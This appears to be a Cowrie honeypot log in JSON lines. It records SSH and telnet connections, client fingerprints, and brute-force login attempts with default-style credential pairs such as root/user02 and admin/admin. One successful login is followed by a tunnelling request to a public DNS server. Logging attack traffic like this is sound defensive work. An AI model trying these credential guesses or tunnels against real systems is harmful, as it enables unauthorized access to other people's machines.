{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:42.748364Z","src_ip":"74.87.117.146","session":"1569ceb616ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix123","message":"login attempt [bitrix/bitrix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:42.881643Z","src_ip":"74.87.117.146","session":"1569ceb616ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:43.909875Z","src_ip":"74.87.117.146","session":"1569ceb616ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":51934,"dst_ip":"10.17.0.5","dst_port":22,"session":"5170d180ee17","protocol":"ssh","message":"New connection: 165.227.170.113:51934 (10.17.0.5:22) [session: 5170d180ee17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:45.637505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:45.642302Z","src_ip":"165.227.170.113","session":"5170d180ee17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:45.729597Z","src_ip":"165.227.170.113","session":"5170d180ee17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix123","message":"login attempt [bitrix/bitrix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:46.109096Z","src_ip":"165.227.170.113","session":"5170d180ee17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:47.199381Z","src_ip":"165.227.170.113","session":"5170d180ee17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":56452,"dst_ip":"10.17.0.5","dst_port":22,"session":"574bd7e5db06","protocol":"ssh","message":"New connection: 190.242.109.42:56452 (10.17.0.5:22) [session: 574bd7e5db06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:57.866716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:57.870960Z","src_ip":"190.242.109.42","session":"574bd7e5db06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:57.967007Z","src_ip":"190.242.109.42","session":"574bd7e5db06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pa55w0rd","message":"login attempt [git/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:58.376906Z","src_ip":"190.242.109.42","session":"574bd7e5db06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:59.475521Z","src_ip":"190.242.109.42","session":"574bd7e5db06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177812576294,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:13.272037Z","src_ip":"212.55.149.117","session":"fb66a7e1b129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":40528,"dst_ip":"10.17.0.5","dst_port":22,"session":"de1e83e8e66f","protocol":"ssh","message":"New connection: 165.227.170.113:40528 (10.17.0.5:22) [session: de1e83e8e66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:30.446455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:30.457614Z","src_ip":"165.227.170.113","session":"de1e83e8e66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:30.546276Z","src_ip":"165.227.170.113","session":"de1e83e8e66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert","message":"login attempt [ubuntu/qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:30.925865Z","src_ip":"165.227.170.113","session":"de1e83e8e66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:32.015191Z","src_ip":"165.227.170.113","session":"de1e83e8e66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":45373,"dst_ip":"10.17.0.5","dst_port":22,"session":"77129bd17dc8","protocol":"ssh","message":"New connection: 74.87.117.146:45373 (10.17.0.5:22) [session: 77129bd17dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:38.003730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:38.008391Z","src_ip":"74.87.117.146","session":"77129bd17dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:38.033001Z","src_ip":"74.87.117.146","session":"77129bd17dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user02","message":"login attempt [root/user02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:38.163461Z","src_ip":"74.87.117.146","session":"77129bd17dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:55:39.190578Z","src_ip":"74.87.117.146","session":"77129bd17dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":46140,"dst_ip":"10.17.0.5","dst_port":22,"session":"db8b1ac81cb3","protocol":"ssh","message":"New connection: 190.242.109.42:46140 (10.17.0.5:22) [session: db8b1ac81cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:04.203862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:04.209000Z","src_ip":"190.242.109.42","session":"db8b1ac81cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:04.303940Z","src_ip":"190.242.109.42","session":"db8b1ac81cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin@123","message":"login attempt [itadmin/itadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:04.686523Z","src_ip":"190.242.109.42","session":"db8b1ac81cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:05.780890Z","src_ip":"190.242.109.42","session":"db8b1ac81cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00222325325012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:10.188009Z","src_ip":"212.55.149.117","session":"a680b9bd36a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45674,"dst_ip":"10.17.0.5","dst_port":23,"session":"7344f70e5ab8","protocol":"telnet","message":"New connection: 212.55.149.117:45674 (10.17.0.5:23) [session: 7344f70e5ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:14.138836Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":56144,"dst_ip":"10.17.0.5","dst_port":22,"session":"44423627aa82","protocol":"ssh","message":"New connection: 165.227.170.113:56144 (10.17.0.5:22) [session: 44423627aa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:16.374233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:16.378825Z","src_ip":"165.227.170.113","session":"44423627aa82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:16.461745Z","src_ip":"165.227.170.113","session":"44423627aa82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qa2ws","message":"login attempt [user/1qa2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:16.824720Z","src_ip":"165.227.170.113","session":"44423627aa82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:17.910535Z","src_ip":"165.227.170.113","session":"44423627aa82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41038,"dst_ip":"10.17.0.5","dst_port":22,"session":"477365a364d4","protocol":"ssh","message":"New connection: 87.251.64.176:41038 (10.17.0.5:22) [session: 477365a364d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.348261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.356367Z","src_ip":"87.251.64.176","session":"477365a364d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.453246Z","src_ip":"87.251.64.176","session":"477365a364d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.743218Z","src_ip":"87.251.64.176","session":"477365a364d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.841614Z","session":"477365a364d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:21.939280Z","src_ip":"87.251.64.176","session":"477365a364d4","protocol":"ssh"}
